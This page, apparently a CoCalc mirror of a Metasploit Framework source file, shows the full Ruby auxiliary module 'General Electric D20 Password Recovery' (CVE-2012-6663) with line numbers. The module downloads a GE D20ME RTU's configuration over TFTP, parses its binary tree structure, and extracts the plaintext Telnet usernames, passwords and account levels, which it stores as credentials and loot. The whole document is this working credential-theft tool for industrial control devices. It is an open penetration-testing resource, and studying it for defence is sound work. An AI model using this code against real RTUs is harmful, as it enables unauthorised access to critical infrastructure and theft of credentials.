Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/gather/d20pass.rb
19591 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
##
7
# This module grabs the device configuration from a GE D20M* RTU and
8
# parses the usernames and passwords from it.
9
##
10
11
class MetasploitModule < Msf::Auxiliary
12
include Rex::Ui::Text
13
include Rex::Proto::TFTP
14
include Msf::Exploit::Remote::Udp
15
include Msf::Auxiliary::Report
16
17
def initialize(info = {})
18
super(
19
update_info(
20
info,
21
'Name' => 'General Electric D20 Password Recovery',
22
'Description' => %q{
23
The General Electric D20ME and possibly other units (D200?) feature
24
TFTP readable configurations with plaintext passwords. This module
25
retrieves the username, password, and authentication level list.
26
},
27
'Author' => [ 'K. Reid Wightman <wightman[at]digitalbond.com>' ],
28
'License' => MSF_LICENSE,
29
'References' => [
30
['CVE', '2012-6663'],
31
],
32
'DisclosureDate' => '2012-01-19',
33
'Notes' => {
34
'Reliability' => UNKNOWN_RELIABILITY,
35
'Stability' => UNKNOWN_STABILITY,
36
'SideEffects' => UNKNOWN_SIDE_EFFECTS
37
}
38
)
39
)
40
41
register_options(
42
[
43
Opt::RPORT(69),
44
Opt::RHOST('192.168.255.1'),
45
OptString.new('REMOTE_CONFIG_NAME', [true, "The remote filename used to retrieve the configuration", "NVRAM\\D20.zlb"])
46
]
47
)
48
end
49
50
def setup
51
@rhost = datastore['RHOST']
52
@rport = datastore['RPORT'] || 69
53
@lport = datastore['LPORT'] || (1025 + rand(0xffff - 1025))
54
@lhost = datastore['LHOST'] || "0.0.0.0"
55
@rfile = datastore['REMOTE_CONFIG_NAME']
56
end
57
58
def cleanup
59
if @tftp_client and @tftp_client.respond_to? :complete
60
while not @tftp_client.complete
61
select(nil, nil, nil, 1)
62
vprint_status "Cleaning up the TFTP client ports and threads."
63
@tftp_client.stop
64
end
65
end
66
end
67
68
def rtarget(ip = nil)
69
if (ip or rhost) and rport
70
[(ip || rhost), rport].map { |x| x.to_s }.join(":") << " "
71
elsif (ip or rhost)
72
rhost
73
else
74
""
75
end
76
end
77
78
# Retrieve the file
79
def retrieve
80
print_status("Retrieving file")
81
@tftp_client = Rex::Proto::TFTP::Client.new(
82
"LocalHost" => @lhost,
83
"LocalPort" => @lport,
84
"PeerHost" => @rhost,
85
"PeerPort" => @rport,
86
"RemoteFile" => @rfile,
87
"Action" => :download
88
)
89
@tftp_client.send_read_request { |msg| print_tftp_status(msg) }
90
@tftp_client.threads do |thread|
91
thread.join
92
end
93
# Wait for GET to finish
94
while not @tftp_client.complete
95
select(nil, nil, nil, 0.1)
96
end
97
fh = @tftp_client.recv_tempfile
98
return fh
99
end
100
101
# Builds a big-endian word
102
def makeword(bytestr)
103
return bytestr.unpack("n")[0]
104
end
105
106
# builds abi
107
def makelong(bytestr)
108
return bytestr.unpack("N")[0]
109
end
110
111
# Returns a pointer. We re-base the pointer
112
# so that it may be used as a file pointer.
113
# In the D20 memory, the file is located in flat
114
# memory at 0x00800000.
115
def makefptr(bytestr)
116
ptr = makelong(bytestr)
117
ptr = ptr - 0x00800000
118
return ptr
119
end
120
121
# Build a string out of the file. Assumes that the string is
122
# null-terminated. This will be the case in the D20 Username
123
# and Password fields.
124
def makestr(f, strptr)
125
f.seek(strptr)
126
str = ""
127
b = f.read(1)
128
if b != 0
129
str = str + b
130
end
131
while b != "\000"
132
b = f.read(1)
133
if b != "\000"
134
str = str + b
135
end
136
end
137
return str
138
end
139
140
# configuration section names in the file are always
141
# 8 bytes. Sometimes they are null-terminated strings,
142
# but not always, so I use this silly helper function.
143
def getname(f, entryptr)
144
f.seek(entryptr + 12) # three ptrs then name
145
str = f.read(8)
146
return str
147
end
148
149
def leftchild(f, entryptr)
150
f.seek(entryptr + 4)
151
ptr = f.read(4)
152
return makefptr(ptr)
153
end
154
155
def rightchild(f, entryptr)
156
f.seek(entryptr + 8)
157
ptr = f.read(4)
158
return makefptr(ptr)
159
end
160
161
# find the entry in the configuration file.
162
# the file is a binary tree, with pointers to parent, left, right
163
# stored as 32-bit big-endian values.
164
# sorry for depth-first recursion
165
def findentry(f, name, start)
166
f.seek(start)
167
myname = getname(f, start)
168
if name == myname
169
return start
170
end
171
172
left = leftchild(f, start)
173
right = rightchild(f, start)
174
if name < myname
175
if left < f.stat.size and left != 0
176
res = findentry(f, name, leftchild(f, start))
177
else
178
res = nil # this should perolate up
179
end
180
end
181
if name > myname
182
if right < f.stat.size and right != 0
183
res = findentry(f, name, rightchild(f, start))
184
else
185
res = nil
186
end
187
end
188
return res
189
end
190
191
def report_cred(opts)
192
service_data = {
193
address: opts[:ip],
194
port: opts[:port],
195
service_name: opts[:service_name],
196
protocol: 'tcp',
197
workspace_id: myworkspace_id
198
}
199
200
credential_data = {
201
origin_type: :service,
202
module_fullname: fullname,
203
username: opts[:user],
204
private_data: opts[:password],
205
private_type: :password
206
}.merge(service_data)
207
208
login_data = {
209
core: create_credential(credential_data),
210
status: Metasploit::Model::Login::Status::UNTRIED,
211
proof: opts[:proof]
212
}.merge(service_data)
213
214
create_credential_login(login_data)
215
end
216
217
# Parse the usernames, passwords, and security levels from the config
218
# It's a little ugly (lots of hard-coded offsets).
219
# The userdata starts at an offset dictated by the B014USERS config
220
# offset 0x14 (20) bytes. The rest is all about skipping past the
221
# section header.
222
def parseusers(f, userentryptr)
223
f.seek(userentryptr + 0x14)
224
dstart = makefptr(f.read(4))
225
f.seek(userentryptr + 0x1C)
226
numentries = makelong(f.read(4))
227
f.seek(userentryptr + 0x60)
228
headerlen = makeword(f.read(2))
229
f.seek(userentryptr + 40) # sorry decimal
230
entrylen = makeword(f.read(2)) # sorry this is decimal
231
logins = Rex::Text::Table.new(
232
'Header' => "D20 usernames, passwords, and account levels\n(use for TELNET authentication)",
233
'Indent' => 1,
234
'Columns' => ["Type", "User Name", "Password"]
235
)
236
237
0.upto(numentries - 1).each do |i|
238
f.seek(dstart + headerlen + i * entrylen)
239
accounttype = makeword(f.read(2))
240
f.seek(dstart + headerlen + i * entrylen + 2)
241
accountname = makestr(f, dstart + headerlen + i * entrylen + 2)
242
f.seek(dstart + headerlen + i * entrylen + 2 + 22)
243
accountpass = makestr(f, dstart + headerlen + i * entrylen + 2 + 22)
244
if accountname.size + accountpass.size > 44
245
print_error("Bad account parsing at #{dstart + headerlen + i * entrylen}")
246
break
247
end
248
logins << [accounttype, accountname, accountpass]
249
report_cred(
250
ip: datastore['RHOST'],
251
port: 23,
252
service_name: 'telnet',
253
user: accountname,
254
password: accountpass,
255
proof: accounttype
256
)
257
end
258
if not logins.rows.empty?
259
loot = store_loot(
260
"d20.user.creds",
261
"text/csv",
262
datastore['RHOST'],
263
logins.to_s,
264
"d20_user_creds.txt",
265
"General Electric TELNET User Credentials",
266
datastore['RPORT']
267
)
268
print_line logins.to_s
269
print_status("Loot stored in: #{loot}")
270
else
271
print_error("No data collected")
272
end
273
end
274
275
def parse(fh)
276
print_status("Parsing file")
277
File.open(fh.path, 'rb') do |f|
278
used = f.read(4)
279
if used != "USED"
280
print_error "Invalid Configuration File!"
281
return
282
end
283
f.seek(0x38)
284
start = makefptr(f.read(4))
285
userptr = findentry(f, "B014USER", start)
286
if userptr != nil
287
parseusers(f, userptr)
288
else
289
print_error "Error finding the user table in the configuration."
290
end
291
end
292
end
293
294
def run
295
fh = retrieve
296
parse(fh)
297
end
298
299
def print_tftp_status(msg)
300
case msg
301
when /Aborting/, /errors.$/
302
print_error [rtarget, msg].join
303
when /^WRQ accepted/, /^Sending/, /complete!$/
304
print_good [rtarget, msg].join
305
else
306
vprint_status [rtarget, msg].join
307
end
308
end
309
end
310
311